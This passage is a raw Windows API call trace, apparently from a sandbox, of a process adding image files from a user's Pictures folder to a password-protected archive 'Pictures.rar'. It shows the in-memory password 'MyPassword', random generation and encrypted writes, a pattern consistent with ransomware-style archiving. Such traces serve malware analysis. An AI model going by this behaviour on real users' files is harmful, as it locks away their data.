nNumberOfBytesToRead=0xeed0b, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b71d335*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.595] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.595] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.595] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.595] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0065.595] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7e0, Size=0x48) returned 0x28b084f9de0 [0065.595] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0065.595] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0065.595] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f9430 [0065.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0065.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0065.595] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.595] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0065.595] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0065.596] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0065.596] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9660 [0065.596] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9660, Size=0x7a) returned 0x28b084eca70 [0065.596] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.596] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084eca70 | out: hHeap=0x28b08430000) returned 1 [0065.596] GetTickCount () returned 0x264da [0065.596] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15692440011) returned 1 [0065.596] GetTickCount () returned 0x264da [0065.596] GetTickCount () returned 0x264da [0065.596] GetTickCount () returned 0x264da [0065.596] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.596] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.596] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.596] ResetEvent (hEvent=0x344) returned 1 [0065.596] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.597] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.597] ResetEvent (hEvent=0x344) returned 1 [0065.597] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.598] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.598] ResetEvent (hEvent=0x344) returned 1 [0065.598] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.601] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.601] GetTickCount () returned 0x264da [0065.601] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15692934793) returned 1 [0065.601] GetTickCount () returned 0x264da [0065.601] GetTickCount () returned 0x264da [0065.601] GetTickCount () returned 0x264da [0065.601] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.601] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.601] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.601] ResetEvent (hEvent=0x33c) returned 1 [0065.601] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.602] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.602] ResetEvent (hEvent=0x33c) returned 1 [0065.602] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.602] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.603] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.603] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.603] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x15d899 [0065.603] SetFilePointer (in: hFile=0x32c, lDistanceToMove=101, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x15d8fe [0065.603] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.603] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.603] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.603] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.603] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x113a0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x113a0, lpOverlapped=0x0) returned 1 [0065.604] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.604] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.604] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1431705, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x15d899 [0065.604] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x15d899 [0065.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.605] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9430 [0065.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0065.605] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd20, Size=0x48) returned 0x28b084f8ee0 [0065.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0065.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7e0 | out: hHeap=0x28b08430000) returned 1 [0065.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0065.605] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9200 [0065.605] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9200, Size=0x7a) returned 0x28b084ed0a0 [0065.605] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed0a3*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed0a3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x65, lpOverlapped=0x0) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0065.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x65) returned 0x28b0c100b00 [0065.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8ee0 | out: hHeap=0x28b08430000) returned 1 [0065.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed0a0 | out: hHeap=0x28b08430000) returned 1 [0065.605] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x16ec9e [0065.605] CloseHandle (hObject=0x350) returned 1 [0065.605] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.605] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.605] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.605] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.605] FindFirstFileW (in: lpFileName="q0 y.bmp", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee910 [0065.605] FindClose (in: hFindFile=0x28b0c0ee910 | out: hFindFile=0x28b0c0ee910) returned 1 [0065.606] CreateFileW (lpFileName="q0 y.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\q0 y.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.606] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.606] GetTickCount () returned 0x264ea [0065.606] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.606] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.606] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.606] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.606] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="Pe_4G6TNHBiw7.gif") returned 17 [0065.606] SetWindowTextW (hWnd=0x102c6, lpString="q0 y.bmp") returned 1 [0065.606] GetTickCount () returned 0x264ea [0065.606] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.606] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.607] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.607] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.607] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x64)) [0065.607] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.607] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15693555347) returned 1 [0065.607] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x38d6, lpOverlapped=0x0) returned 1 [0065.607] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70f916, nNumberOfBytesToRead=0xfc72a, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70f916*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.607] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.607] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0065.607] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd20, Size=0x48) returned 0x28b084f9ca0 [0065.607] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.607] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fae0 [0065.607] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fae0, Size=0x48) returned 0x28b084f9bb0 [0065.607] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.607] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9ca0 | out: hHeap=0x28b08430000) returned 1 [0065.607] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0065.607] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0065.607] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0065.607] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc00 | out: hHeap=0x28b08430000) returned 1 [0065.607] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f98e0 [0065.607] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f98e0, Size=0x7a) returned 0x28b084ed130 [0065.607] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0065.608] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed130 | out: hHeap=0x28b08430000) returned 1 [0065.608] GetTickCount () returned 0x264ea [0065.608] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15693628297) returned 1 [0065.608] GetTickCount () returned 0x264ea [0065.608] GetTickCount () returned 0x264ea [0065.608] GetTickCount () returned 0x264ea [0065.608] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.608] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.608] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.608] ResetEvent (hEvent=0x344) returned 1 [0065.608] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.609] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.609] ResetEvent (hEvent=0x344) returned 1 [0065.609] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.609] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.610] GetTickCount () returned 0x264ea [0065.610] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15693818389) returned 1 [0065.610] GetTickCount () returned 0x264ea [0065.610] GetTickCount () returned 0x264ea [0065.610] GetTickCount () returned 0x264ea [0065.610] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.610] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.610] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.610] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.610] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.610] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x16ec9e [0065.610] SetFilePointer (in: hFile=0x32c, lDistanceToMove=92, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x16ecfa [0065.610] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.610] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.610] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.610] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.610] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x38f0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x38f0, lpOverlapped=0x0) returned 1 [0065.611] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.611] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.611] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1502366, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x16ec9e [0065.611] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x16ec9e [0065.611] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0065.611] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0065.611] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd20, Size=0x48) returned 0x28b084f9200 [0065.611] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6e10 [0065.611] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0065.611] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd20, Size=0x48) returned 0x28b084f8ee0 [0065.611] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6e10 | out: hHeap=0x28b08430000) returned 1 [0065.611] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9200 | out: hHeap=0x28b08430000) returned 1 [0065.611] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.611] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.611] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0065.611] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0065.611] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9430 [0065.611] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ed130 [0065.611] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed133*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed133*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5c, lpOverlapped=0x0) returned 1 [0065.611] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0065.611] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5c) returned 0x28b0c1002b0 [0065.611] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8ee0 | out: hHeap=0x28b08430000) returned 1 [0065.611] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed130 | out: hHeap=0x28b08430000) returned 1 [0065.611] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1725ea [0065.611] CloseHandle (hObject=0x350) returned 1 [0065.612] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.612] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.612] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.612] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.612] FindFirstFileW (in: lpFileName="QX41YSfi6.bmp", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee3d0 [0065.612] FindClose (in: hFindFile=0x28b0c0ee3d0 | out: hFindFile=0x28b0c0ee3d0) returned 1 [0065.612] CreateFileW (lpFileName="QX41YSfi6.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\qx41ysfi6.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.612] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.612] GetTickCount () returned 0x264ea [0065.612] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.612] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.612] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.612] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.612] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="q0 y.bmp") returned 8 [0065.612] SetWindowTextW (hWnd=0x102c6, lpString="QX41YSfi6.bmp") returned 1 [0065.613] GetTickCount () returned 0x264ea [0065.613] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.613] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.613] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.613] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.613] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x64)) [0065.613] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.613] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15694202600) returned 1 [0065.613] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x15077, lpOverlapped=0x0) returned 1 [0065.614] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b7210b7, 